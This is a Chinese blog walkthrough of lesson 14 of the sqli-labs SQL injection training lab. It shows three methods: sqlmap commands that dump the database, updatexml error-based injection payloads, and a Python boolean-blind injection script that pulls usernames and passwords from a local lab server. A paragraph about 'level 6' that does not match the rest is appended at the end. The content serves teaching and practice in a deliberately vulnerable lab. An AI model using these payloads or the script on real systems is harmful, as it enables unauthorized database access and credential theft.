Sqli-labs第14关通关(三种方法)

使用SQLMap通关

先爆库名。

python sqlmap.py -u http://192.168.2.16/sqli-labs/Less-14/ --data="uname=1&passwd=1&submit=Submit" --current-db

再爆表名。

python sqlmap.py -u http://192.168.2.16/sqli-labs/Less-14/ --data="uname=1&passwd=1&submit=Submit" -D security --tables

这里我就列名和字段一起爆了。

python sqlmap.py -u http://192.168.2.16/sqli-labs/Less-14/ --data="uname=1&passwd=1&submit=Submit" -D security --tables --columns --dump

使用sqlmap执行post注入有两种方式:

一种是--data="',这种方便一点,不需要保存。直接将需要提交的数据复制粘贴过来就好了。

另一种是-r,这种需要先将http请求包保存到txt文件里面。

这里面有很多命令,有需要可以查查。

用法 · sqlmap 中文版(新版: github.com/itechub/sqlmap-wiki-zhcn (gitbooks.io)

使用报错注入

发现输入错误下方会有报错提示,所以可以尝试报错注入。

根据报错的提示,可以判断出双引号闭合。

1" or updatexml(1,concat(0x7e,(database())),2)#成功显示当前库名,可以继续爆表名。

1" or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),2)#

然后是列名。
1" or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),2)#

最后是具体的值。因为一次性显示不完,所以加了个substr()截取。一部分一部分获取。

 1" or updatexml(1,substr(concat(0x7e,(select group_concat(username,id,password) from users)),1,5),2)#

使用脚本进行布尔盲注

登录成功和失败有不同的图片显示,所以可以使用布尔盲注。

失败时是slap.jpg

成功登录时是flag.jpg

所以可以用脚本跑一下。

import requests

url = "http://192.168.2.16/sqli-labs/Less-14/"
payload = {
	"uname" : "",
	"passwd" : "123456",
	"submit" : "Submit"
}
result = ""
stop=""
a=1

for i in range(1,100):
	l = 32
	r = 127
	while(l <= r):
		# 跑库名
		#"-1\" or ascii(substr((database()),{0},1))={1}#".format(a,l)#

		# 跑表名
		#"-1\" or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))={1}#".format(i,l)

		# 跑列名
		#-1\" or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\'security\' and table_name='users'),{0},1))={1}#".format(i,l)

		#字段
		#"-1\" or ascii(substr((select group_concat(id ,username, password) from users),{0},1))={1}#".format(i,l)

		payload["uname"] ="-1\" or ascii(substr((select group_concat(id,\'*\',username,\'*\',password ) from users),{0},1))={1}#".format(i,l)
		html = requests.post(url,data=payload)
		#print(html.text,l)

		if "src=\"../images/flag.jpg\"" in html.text:
			print(payload)
			result = result + chr(l)
			print(result)
			break
		elif l==127:
			stop ='stop'
		l=l+1
	if stop == 'stop':
		print(i)
		break


print("answer:" ,result)

sqli-labs是一个用于学习和练习SQL注入攻击技能的练习平台。它通过不同的卡,模拟了各种可能的SQL注入场景,帮助用户理解和掌握SQL注入技术。要通关第6,通常需要了解以下内容: 1. SQL注入基础知识:了解SQL注入是什么,以及它如何工作。 2. 数据库结构和查询语言:熟悉目标数据库(如MySQL)的结构、表和字段,以及如何构造有效的SQL查询。 3. 常见的SQL注入点:了解GET、POST、Cookie等参数中的常见SQL注入点。 4. 注入技术:掌握基本的SQL注入技术,包括布尔型盲注、时间型盲注和报错注入。 5. 利用SQL注入漏洞:学会如何利用SQL注入漏洞来获取数据库中的数据,如用户信息、密码等。 6. 防御措施:了解如何防止SQL注入攻击,增强数据库安全。 针对第6,通常的解题思路如下: - 确定注入点:通过输入一些特殊的SQL语句,比如单引号(')来测试应用程序的响应,判断是否存在SQL注入点。 - 提取数据:一旦确定了注入点,下一步就是尝试提取数据。这可能涉及到构造UNION SELECT语句,或者使用其他注入技术来绕过过滤器,提取数据库的内容。 - 考虑过滤器:很多时候,第6会有一些基础的过滤器,可能需要使用技巧如大小写混合、注释符号、编码转换等手段来绕过这些过滤器。 由于sqli-labs是一个教育和学习工具,每个版本的具体细节和解决方案可能有所不同,上述步骤是通用的思路。请根据实际情况调整解题策略。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值